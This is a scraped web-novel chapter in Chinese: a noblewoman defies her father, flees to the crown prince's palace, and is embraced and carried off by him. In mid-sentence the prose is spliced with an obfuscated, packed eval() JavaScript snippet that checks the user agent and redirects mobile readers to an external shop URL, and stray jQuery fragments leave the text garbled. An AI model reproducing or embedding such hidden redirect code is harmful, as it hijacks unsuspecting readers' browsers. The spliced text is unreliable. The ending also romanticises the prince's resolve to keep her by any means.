默认冷灰
24号文字
方正启体

105. 去东宫,见萧执安。

作者:药杵本书字数:K更新时间:
    “女儿不明白。”


    林怀音仰面直视林震烈,缓慢摇头:“当时在鹤鸣山脚,女儿要刺杀平阳公主,太子殿下说私刑报复不可,必须三司会审。而今父亲大人您又说不可昭告天下,要女儿暗中行事。女儿该听谁?储君还是父亲?你们一人一套说辞,到底什么是真?女儿怎么做才是对?”


    小小厅堂,充斥林怀音的委屈和不甘。


    林震烈紧了紧握扶手的手,很想告诫女儿:东宫可以承诺任何事,因为处在那个位置的人,总以为自己无所不能,只要氛围到位,什么都敢允诺。至于兑现承诺时遭遇阻碍,事到临头发现代价太大,要么自食其言,要么将代价转嫁天下百姓,无论背信弃义还是牺牲黎民百姓,无疑都是君主走向堕落的起点……


    天理良心,只要背叛过一次,就会有无数次。


    天子轻诺,不如无诺。


    知晓萧执安对林怀音的承诺,林震烈更坚定要送走女儿的决心。


    平阳公主是东宫一手庇护养大,二人幼年丧母,骨肉至亲,公开平阳公主谋逆,等于撕开皇族骨肉相残的遮羞布,即便公主伏诛,东宫地位也岌岌可危。


    一旦东宫意识到兑付诺言的惨痛代价,犹豫动摇,女儿就会成为眼中钉,肉中刺。


    林震烈相信东宫对林怀音有几分情意,但是这几分情意抵得过储君之位?


    纵然东宫年少轻狂,当真履行承诺,可是三五年后,他后悔、继而心生怨怼呢?


    平阳公主应该死,但如果代价是皇室倾覆、党争内乱、千万百姓的流离失所,林家承受不起。


    倘若别有它途,林震烈可以一试,但公主不能死在林家手里,更不能因为女儿而死。


    至少明面上,林家不沾这因果。


    林震烈要送走林怀音,再慢慢与萧执安周旋,这个泥潭有他足矣,女儿走得越快越好。


    他缓缓起身,看女儿跪在面前,小脸惨白,泫然欲泣,狠下心对她说:“老三,除了你自己,谁都靠不住,哪怕是为父我。”


    语罢,林震烈径直离去。


    林怀音跪在原地,呼吸父亲带起的埃尘。


    嗒嗒脚步,像一斧一斧,斩断系舟缆绳,林怀音这艘小船被放逐,离港,只身驶向大海,领受风浪。


    “三小姐。”


    林震烈的贴身随从范勋,在门外躬身:“老爷命小的先护送您离府,鱼丽蟹鳌会为您收整行李,前来汇合。”


    这是要她立刻离家,不许与母亲告别的意思。


    林怀音跪在小厅,脑瓜子嗡嗡响,宛若海上孤舟,彷徨漂浮,恍惚间不知身在何处。


    她想起她就是出了个门,到圣水寺见了柳老夫人,取回翠羽簪,然后带着卢太医来收拾公羊颜身上的银针。


    她答应了去看慧贵妃的龙种。


    还有鹤鸣山下的捕蛇人,她承诺教他们箭术,接他们到京城生活。


    国子监里,莲花灯小姑娘刚刚入学,她还没看到她考取功名。


    穆展卷还没回京。


    白止止也没来京。


    那么多未竟之事。


    好多事没有完成。


    她不想走。


    “三小姐,该走了。”


    范勋低声催促。


    林怀音忽然想到她的翠羽簪,从腰间荷包掏出来,攥紧。


    她已经逃过一次,弃太子殿下于不顾,从前世诏狱逃到这里,现在,又要丢下一堆烂摊子,辜负那么多人期待,一走了之?


    不。


    林怀音不走,不罢手,绝不将大兴变成另一个回不去的诏狱。


    翠羽簪换到左手。


    林怀音撑地起身,右手不经意摸进荷包。


    “三小姐。”


    范勋让到一边,候林怀音出门。


    迈过门口,林怀音右手一扬,白色粉末撒范勋一脸。


    趁对方还没反应过来,林怀音夺路狂奔。


    林眠风准备的痒痒药,在此刻派上用场。


    饶是范勋武艺高强,林怀音杀他个措手不及,一张脸奇痒无比,瞬间被放倒。


    秦洛人在暗处,被林怀音这一手惊掉下巴。


    虽说皇城司可以随意拿人,但萧执安交代不可得罪林家,秦洛从头听到尾,已经派人去东宫报信,他则计划先行尾随,随时带走林怀音。


    没想到林怀音一转身就朝自己人下手,还是范勋那种高手,秦洛眼前一亮,咋舌不止,眼看林怀音往林震烈所在方向乱跑,他赶忙现身阻拦。


    “林三小姐。”


    秦洛轻声一唤。


    林怀音瞪他。


    秦洛害怕,以为又要挨打,或者痒痒药伺候。


    但林怀音翻完白眼,立刻抓紧救命稻草——“快带我走!”


    这种要求,秦洛犹豫一息就是犯罪,扛起林怀音翻出院墙,找到接应人马,一路快马加鞭。


    林震烈知道林怀音不见的时候,林怀音已经进入东宫大门。


    林怀音也不为难秦洛,他带她来,她就大大方方来,听了父亲的话,她也想问问太子殿下,先前的承诺还作不作数。


    一见林三小姐驾临,东宫侍卫欢天喜地,死气沉沉的氛围应时大变。


    所有人都眉梢带喜,除了守卫嘉德殿前的禁军大将军。


    林拭锋远远望见有女子来,眯眼往殿里狠剜一眼。


    呵,狐狸尾巴露出来了。


    林怀音亦遥遥望见林拭锋。


    她脑瓜子瞬间卡壳,歘一下躲秦洛身后。


    动作过于亲近,四围东宫侍卫登时脸色大变,质疑秦洛僭越,秦洛骤然冷汗涔涔,窘迫间发现前方林拭锋,登时了然林怀音害怕暴露行踪,便带她转道,绕行崇教门,同时派人去请萧执安。


    嘉德殿中,正在议事。


    听闻林怀音到来,萧执安呆愣愣举金印无处下手。


    他暗暗握紧玉璜,钻心的疼痛和玄戈的脸真实不虚。


    “林三小姐正在崇教门等您”的声音,虽然轻细,但千真万确。


    奏事朝臣犹在,中书省全员被罢免,政务多得数不过来,皆由萧执安一人代中书省一省,亲笔草拟旨意、


    朝臣还在等诏书,萧执安丢下金印,金印从储案滚落,朝臣一片哗然,他全然不顾,狂奔下阶,奔出嘉德殿,在林拭锋恶狠狠的注视下,奔向林怀音。


    储君的姿态,好不体面,甚至可以说狼狈。


    林拭锋评估萧执安,暗暗捏紧拳头,嘉德殿中砰砰乱响,回头一看——殿中朝臣面面相觑,正中间,金印正一级一级,翻滚台阶下落。


    见状,林拭锋果断追赶萧执安,他要亲眼看看,看看是什么女人如此勾人,勾得“侄儿未来的爹”连金印都不要,不顾一切去迎。


    不,不是“未来侄儿的爹”,林拭锋收回这个神圣称呼——既然储君有旁的女人,三妹不跟别的女人在一个碗刨食,林拭锋坚决剥夺萧执安任


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691217|178418||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    何权利。


    孩子生下来姓林,林家养了,东宫爱干嘛干嘛,林家不认。


    林拭锋加快脚步,想去看看狐狸精长什么样,是谁家的。


    萧执安跑太快,他紧赶慢赶,刚到崇教门,被秦洛横臂拦下。


    门内,林怀音听到萧执安脚步,嗅到他身上熟悉的独属于“执安”的味道,她心跳如撞,压制蠢蠢欲动想要去迎的脚,强迫自己仰望嘉德殿的屋脊宝刹,提醒自己身在东宫,清醒一点,来人不是她的“执安”,是太子殿下。


    对,是太子殿下。


    林怀音逼自己冷静,逼自己回忆太子殿下如何利用她,漠视她。


    她是他的臣民,他是她的君父。


    他们之间隔天渊深堑,从前是无知无畏,现在既已知悉,她必须站对自己的位置。


    林怀音收回视线,眼前掠过一道紫色人影,她假装没有看见,抬两手交叠左腰,微微屈膝,那紫色人影撞上来,结结实实撞上来,她就像飞燕入林,被深林环绕,被紧紧拥抱,几近窒息。


    “音音,”萧执安呢喃喘气,“我的音音,你终于肯来见我。”


    再度回到萧执安怀抱,滚烫的体温和强劲的心跳、胸口肌肉起伏的弧度和线条,他的声音和灼热呼吸,一切都是林怀音最熟悉的味道,闭上眼,她阻止不了自己贪婪感受萧执安的存在。


    明明说过不要再见,可是见到的这一刻,只有天知道,林怀音如此满足,沉沦,想把船锚捅到萧执安身上,要在他身上安家。


    这还是第一次,她在光天化日之下与萧执安拥抱,就在这帝国中心的东宫,四围都是东宫侍卫,萧执安毫不避讳。


    她来,他就在。


    一个不由分说的拥抱,几乎冲垮林怀音的理智。


    她的身体和情感都在叫嚣“执安”,疯狂投降,命令她放弃抵抗,向萧执安倾诉思念和爱。


    可是萧执安不仅是她的“执安”,理智的涟漪微微荡开,林怀音不想要太子,不想做东宫的女人,她现在只想知道,萧执安究竟打算怎么处置平阳公主。


    他说过的话,到底算不算数?


    如果她一意孤行的复仇会动摇他的江山,他会怎么做?


    “太……太子殿下。”


    林怀音一只手掌撑到萧执安胸口。


    萧执安的心,顿时凉了半截。


    萧执安的手,一时间无所适从。


    他觉得音音这样唤他,即是拒绝,他不应该勉强,他要尊重音音。


    “原谅我,音音,我不想放手,让我抱抱你。”


    道歉很柔软,臂膀梆硬,萧执安坚定不移地将林怀音打横抱起,低头贴她侧脸。


    脸贴脸瞬间,参差温度带来骇人的亲密无间,林怀音面颊滚烫,呼吸急促,几乎攫住萧执安的唇想吻下去。


    她爱他。


    他继续勾引,她就要缴械投降。


    萧执安轻轻柔柔蹭林怀音侧脸,鼻息交融,心跳碰撞,他终于重新将音音拥在怀中,无论音音为何而来,他不打算放她走了。


    失而复得,是极致的快乐,更是痛苦的极致。


    萧执安要终结这患得患失。


    从前的方法全错,萧执安决定先拥有她,不给她逃跑的机会,他迫不及待,想对她不择手段,他再也受不了她不在身边。


    穿过丽正殿、光天殿,过宜春门,后面就是承恩殿。


    他要为承恩殿,留下女主人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)